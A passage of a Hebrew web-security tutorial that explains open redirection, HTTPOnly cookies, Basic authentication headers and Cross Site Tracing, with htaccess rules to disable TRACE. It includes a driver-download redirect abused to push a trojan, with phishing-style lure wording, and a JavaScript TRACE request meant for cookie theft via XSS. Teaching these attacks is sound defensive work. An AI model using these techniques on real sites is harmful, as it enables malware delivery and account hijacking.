File Download Injection

File Download Injection הוא נושא שכבר דיברתי עליו -כחלק מ מאמר נרחב יותר- בצירוף מספר דוגמאות שונות והסברים. המאמר נקרא פירצות אבטחה נפוצות ואפשריות בעת העלאת קבצים בעזרת PHP (הגירסה המקורית). המאמר פורסם לראשונה ב גיליון הרביעי של DigitalWhisper. את הגירסה שפורסה ב- DigitalWhisper תמצאו כאן.

Open Redirection

הפנייה פתוחה (Open Redirection) היא מצב שבו האתר מבצע הפנייה לקובץ אחר (חיצוני או מקומי), כשלמעשה לא מתבצעת שום בדיקה לאימות תקינות הקלט, מה שמאפשר לנו לשנות את הקישור ולגרום להפניה להיכן שנרצה. בואו נראה דוגמה לקישור באתר שמבצע פעולת הפנייה:

```
http://my-awesome-site.com/move.php?to=main.php
```

והתגובה המתקבלת מהשרת תיהיה משהו בסיגנון הזה:

```
HTTP/1.1 302 Found
Date: Sun, 11 Apr 2010 20:39:48 GMT
Server: Apache/2.2.11 (Win32)
```

```
Location: main.php
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
```

דגש על השורה הבאה אשר מורה לדפדפן לעבור לקובץ המצויין:

```
Location: main.php
```

אז מה היה קורה אילו הייתי נכנס לקישור בצורה שונה? לדוגמה:

```
http://my-awesome-site.com/move.php?to=http://google.co.il
```

כן, הייתי מועבר לגוגל, מאחר ואין בדיקה לאימות תקינות הכתובת. המתכנת יצא מנקודת הנחה שהקלט יהיה תקין.

אז מה הבעיה פה? בואו ניקח דוגמה מציאותית: האתר של Nvidia (כן כן, זה של הדרייברים). אני זוכר שלפני שנה או יותר היה Open Redirection בעמוד שמקשר להורדת הדרייברים. אולי זה עוד קיים.

בואו ניקח דוגמה:

```
http://nvidia-site.com/download.php?driver=DriverName.exe
```

במקרה כזה, אופן הניצול שלנו יהיה פ שוט: נחליף את **DriverName.exe** בכתובת של וירוס / טרויאן / ג'וק אחר.

כעת, כל מה שנשאר לעשות זה לפרסם את הלינק בכל מיני דרכים שונות, מיוחדות, מרושעות ואכזריות! לדוגמה: "עידכון אבטחה חשוב מ-nvidia לכל הדרייברים, חובה התקנה!" - מספיק אנשים יאמינו לכם. אפשרות נוספת היא לעזור לאנשים למצוא דרייבים. יש מספיק אנשים שמחפשים דרייברים, אז תנו להם את הקישור... ואיך נתגונן בתור Nvidia? בקלות! נאמת את תקינות הקלט, כלומר נוודא שאכן מדובר בקובץ מתוך קבצי הדרייברים.

Cross Site Tracing

עוגיות ה-HTTPOnly

XSS (או בשם המלא: Cross Site Scripting) תמיד היה נושא בעייתי מצד מפתחי האתרים. מדובר באחת מפרצות האבטחה השכיחות ביותר. הפירצה מאפשרת גניבת עוגיות מהגולש, ובקלות, ממש כמו שכבר הראיתי לכם מקודם.

בניסיון יפה לפתור את הבעיה, פיתחה חברת Microsoft (בשנת 2002) מאפיין אבטחה חדש הנקרא HTTPOnly. המנגנון הזה הוא למעשה הגדרה נוספת שניתן לייחס לעוגיה, כך שלא תוכל להיות נגישה

מתוך שפות צד לקוח . כלומר, העוגיה כן תיהיה קיימת וכן תישלח בתוך הבקשה , אבל כשננסה לגשת אליה ב-Javascript לא תיהיה גישה.

בואו נראה דוגמה:

```
<script type="text/javascript">
document.cookie = "side_menu=1";
document.cookie = "id=123; HTTPOnly";
document.cookie = "password_hash=e1245f16d; HTTPOnly";
alert(document.cookie);
</script>
```

השתמשתי ב-document.cookie שבעזרתו ניתן לגשת לעוגיות מתוך Javascript.

בשורה השניה:

```
document.cookie = "side_menu=1";
```

יצרתי עוגיה ששמה side_menu עם ערך 1, המייצגת האם המשתמש השאיר את התפריט הצידי פתוח או סגור. תפריטים צדדיים הם בדרך כלל פריטים שמשחקים איתם בעזרת Javascript, ולכן הגדרתי כך את העוגיה.

אולם, בשורה השלישית והרביעית:

```
document.cookie = "id=123; HTTPOnly";
document.cookie = "password_hash=e1245f16d; HTTPOnly";
```

יצרתי עוגיות HTTPOnly לדוגמה, המייצגות מספר משתמש וסיסמה מוצפנת . אלו בדרך כלל עוגיות שיש בהן שימוש לזיהוי משתמשים המחוברים למערכת ללא שימוש ברכיבי Session (כדי שפרטי הגולש יישמרו והוא לא יצטרך תמיד להתחבר מחדש).

ולסיום קוד ה-Javascript, נציג את העוגיות שיצרנו בעזרת alert פשוט:

```
alert(document.cookie);
```

לאחר שניכנס לדף, תקפוץ הודעת alert, אך שימו לב מה רשום בה:

```
side_menu=1
```

כמו שאתם רואים, עוגיות שהוגדרו כ-HTTPOnly לא ניתנות לגישה בעזרת Javascript, ולכן אנחנו לא רואים אותן. כמובן שמדובר בתלות בדפדפן שלנו . הדפדפן הוא זה שמבצע את הפעולה ולכן הוא צריך לתמוך בעוגיות HTTPOnly. אם הדפדפן אינו תומך בעוגיות HTTPOnly, ההתייחסות אליהן תיהיה כאל עוגיות רגילות. כלומר, הן כן יוצגו!

הכותר Authorization

אין מצב שלא נתקלתם באתר שמבקש ממכם להכניס שם משתמש וסיסמה לתוך חלון שהדפדפן מקפיץ לכם. אז איך זה בעצם עובד ? בדומה לעוגיות HTTPOnly, לא תוכלו לגשת למידע שהוכנס בחלון ההתחברות בעזרת שפות צד לקוח כמו Javascript, אך המידע הזה כן מועבר מהדפדפן לשרת. זה מתבצע בעזרת הכותר Authorization.

לפני שנראה דוגמה לכותר , אציג איך יוצרים מצב שבו מוקפץ החלון שדיברתי עליו ויש שימוש בכותר . האפשרות הראשונה והפשוטה ביותר היא שימוש ב- htaccess וב-htpasswd. יצא לי כבר להסביר על זה באחד המאמרים האחרים שלי והעניין הוסבר בהרחבה ב-שימוש נכון ב-HTAccess מאת cp77fk4r בגיליון הרביעי של DigitalWhisper.

למעשה, מדובר בכותר שנשלח מהשרת ותנאי הפועל בצד השרת. זה לא מסובך, ואפשר גם לעשות את זה בצורה ידנית.

לדוגמה, ב-PHP, נעשה את זה כך:

```
<?php
$user = (isset($_SERVER['PHP_AUTH_USER']) && $_SERVER['PHP_AUTH_USER']
== 'roy');
$pass = (isset($_SERVER['PHP_AUTH_PW']) && $_SERVER['PHP_AUTH_PW'] ==
'777');

if ( !$user || !$pass )
{
   header('WWW-Authenticate: Basic realm="Please Identify"');
   header('HTTP/1.0 401 Unauthorized');
   die('Access Denied');
}
?>
You have identified. This is my site... bla bla bla
```

כשניגש לדף נקבל תגובה שמכילה:

```
HTTP/1.0 401 Unauthorized
Date: ...
Server: ...
WWW-Authenticate: Basic realm="Please Identify-0"
```

וכשהדפדפן שולח את הפרטים שאנחנו מקלידים, הוא משתמש בכותר Authorization כך:

```
Authorization: Basic Og==
```

ובשביל להתחבר באמת (לפי הדוגמה שנתתי) הוא ישלח את הכותר הבא:

```
Authorization: Basic cm95Ojc3Nw==
```

הערה: גניבת המידע המופיע בכותר יתבצע באופן דומה לזה של גניבת עוגיות ה-HTTPOnly.

עקיפת מנגנון ה-HTTPOnly בעזרת המתודה TRACE

נראה שהומצא פיתרון מושלם למניעת ניצולי פירצות Cross Site Scripting באתר שלנו לגניבת עוגיות מהגולשים, לא?

כאן נכנסת לתמונה השיטה TRACE, שנועדה לביצוע בדיקות מצד מפתחי מערכות. לאחר סיום הפיתוח, אין עוד צורך שהשיטה הזו תיהיה מופעלת, ולכן צריך לכבות אותה.

אז איך אפשר לעקוף את מנגנון ה- HTTPOnly בעזרת ה-TRACE ואיך זה קשור בכלל? כמו שכתבתי כבר בהסבר על המתודה TRACE, היא מחזירה לנו כפלט את הבקשה ששלחנו לשרת.

כלומר, אם אשלח את הבקשה:

```
TRACE /index.html HTTP/1.1
Host: 127.0.0.1
```

התגובה שתתקבל תיהיה בערך זו:

```
HTTP/1.1 200 OK
Date: Fri, 02 Apr 2010 11:41:20 GMT
Server: Apache/2.2.11 (Win32)
Transfer-Encoding: chunked
Content-Type: message/http

TRACE /index.html HTTP/1.1
Host: 127.0.0.1
```

ואם מדובר בבקשה אמיתית ומלאה, היא תכלול גם את הכותר Cookie שבו העוגיות שלנו. לדוגמה:

```
TRACE /index.html HTTP/1.1
Host: 127.0.0.1
Cookie: id=123&password_hash=e1245f16d
```

התגובה שתתקבל גם תכלול את הכותר הזה:

```
HTTP/1.1 200 OK
Date: Fri, 02 Apr 2010 11:41:20 GMT
Server: Apache/2.2.11 (Win32)
```

```
Transfer-Encoding: chunked
Content-Type: message/http

TRACE /index.html HTTP/1.1
Host: 127.0.0.1
Cookie: id=123&password_hash=e1245f16d
```

ובדוגמה פשוטה שפועלת בכוחות עצמה: (סביר להניח שהיא לא תעבוד לכם, תבינו בהמשך למה)

```
<script type="text/javascript">
if (window.XMLHttpRequest) //IE7+,FF,Chrome,Opera,Safari
   var xmlhttp = new XMLHttpRequest();
else //IE5,IE6
   var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");

xmlhttp.onreadystatechange = function()
{
   if ( xmlhttp.readyState == 4 && xmlhttp.status == 200 )
      alert(xmlhttp.responseText);
}

xmlhttp.open("TRACE","http://site.com",true);
xmlhttp.send();
</script>
```

הערה: חשוב לי לציין שהדוגמה יכולה להיות מתוך Flash, Java, Visual Basic Script, Ajax ועוד... הדוגמה הזו שולחת בקשת TRACE לאתר, ומחזירה לנו את התגובה (הבקשה שנשלחה). החדרת קוד כזה בעזרת XSS יכול להוביל לגניבת העוגיות של הגולש שיחשף לקוד הזה. במקרה הזה ביצעתי בסך הכל פעולת Alert, אך כמובן שבמקרים אמיתיים נבצע את אותן הפעולות כמו בגניבת עוגיות, נחליף את העוגיות שלנו בעוגיות שנקבל, ובמידה ואין הגנה כלשהיא (לפי User-Agent או כתובת IP) נקבל גישה לחשבון. הניצול אינו מוגבל לאתר הספציפי בו אנו נ מצאים, אלא לכל אתר המתארח על שרת התומך במתודה TRACE. בקוד שמוחדר באתר X, ניתן (היה) לבצע גם בקשת TRACE לאתר Y ולגנוב את העוגיות של הגולש מאתר Y. זה נקרא **Cross Domain**.

הפיתרון לבעיה: ביטול המתודה TRACE

ניתן לבטל את התמיכה ב-TRACE מתוך htaccess בצורה הבאה: (שימוש ב-ModRewrite)

```
RewriteEngine ON
RewriteCond %{REQUEST_METHOD} ^TRACE
RewriteRule .* – [F]
```

ואפשר גם להשתמש ב-Limit, כך:

```
<Limit TRACE>
order deny,allow
deny from all
</Limit>
```

Same Origin Policy

כיום המתקפה Cross Site Tracing לא רלוונטית ולא ניתנת לביצוע בגלל רכיב האבטחה SOP (קיצור של Same Origin Policy) אשר קובע את המדיניות הספציפית לרב ההתרחשויות השונות בצד הלקוח. למשל, בשלב פענוח קוד ה-Javascript אשר התקבל מדומיין מסויים, המנגנון אחראי על אימות הגישה - כלומר, שהקוד לא ינסה לגשת ל פיסת מידע השייכת לדומיין אחר (כמו מידע שקיים בעוגיה שהוגדרה לדומיין שונה). כידוע, בכדי לבצע מתקפת Cross Site Tracing מוצלחת ויעילה אנחנו חייבים לבצע Cross Domain ולגרום לקוד ה-Javascript לבצע שליחה של בקש ת TRACE לעמוד הנמצא בדומיין האחר, ולקבל את המידע שיוחזר ממנו, מה שכובן לא יתאפשר לביצע תחת המדיניות של Same Origin Policy. למרות שהמתקפה לא רלוונטית כלל כיום , היה חשוב מאוד לציין אותה מפני שהיא תמיד יכולה לצוץ שוב בדרך כזאת או אחרת, ומדובר בטריק שפשוט אי אפשר להתעלם מהיופי שלו.

סיכום - אז מה למדנו היום?

מאמר זה בא להציג סריקה נרחבת על האלמנטים הרבים הקשורים למימוש אבטחת המידע בפרוטוקול ה-HTTP. חשוב מאוד לציין כי מספר רב מהבעיות שהצגנו פה נובעות מעצם העובדה שכאשר מתכנתים רבים מממשים ממשק המבוסס על פרוטוקול זה הם אינם מודעים כי המשתמש יכול לשנות כל Header או מידע הנשלח מהדפדפן שלו, מה שכמובן מחזיר אותנו לחוק הראשון בפיתוח נכון: "לעולם אל תסמוך על קלט הנשלח מהמשתמש".

כמו שראינו בדוגמאות השונות, הגולש יכול לערוך את המידע המגיע אליו לפני שהוא מוצג בדפדפן , וכך בעצם לעקוף את כל ל ההגנות הפועלות בסביבת צד הלקוח . אחת המטרות של כתיבת מאמר זה היא להגביר את המודעות בנושאים אלו.

דבר נוסף שיש לזכור הוא שחשוב מאוד להבדיל בין מתקפות הקשורות לפרוטוקול HTTP לבין מתקפות אשר לא קשורות לפרוטוקול ה- HTTP אך עדיין עושות בו שימוש , כמו מתקפותSQL Injection, אשר במקרים רבים המתקפה מתבצעת דרך שימוש בפרוטוקול HTTP, אך במתקפה זאת ה-HTTP הוא רק הכלי ולא היעד כי למעשה אנחנו לא תוקפים או מנצלים שום חולשה הקשורה בפרוטוקול ה-HTTP עצמו ומטרתנו היא בסופו של דבר מסד הנתונים.

תודה מיוחדת

יש לי פה קצת מקום לרשום אז הייתי מעוניין להגיד כמה מילות תודה לאפיק (cp77fk4r): תודה רבה על שתמכת בי ברוחך, כתבת את הסיכום הזה ופעם נוספת (פעם שניה) אפשרת לי לקחת חלק ולהשתתף בכתיבת גיליון של DigitalWhisper. (נראה שכבשתי לך חצי גיליון עם הדבר הארוך הזה שכתבתי) מי יתן ואני אמשיך לרשום דברים כאלה משובחים (וארוכים) שיופיעו פה... בקיצור, אוהב אותך מכל הלב :)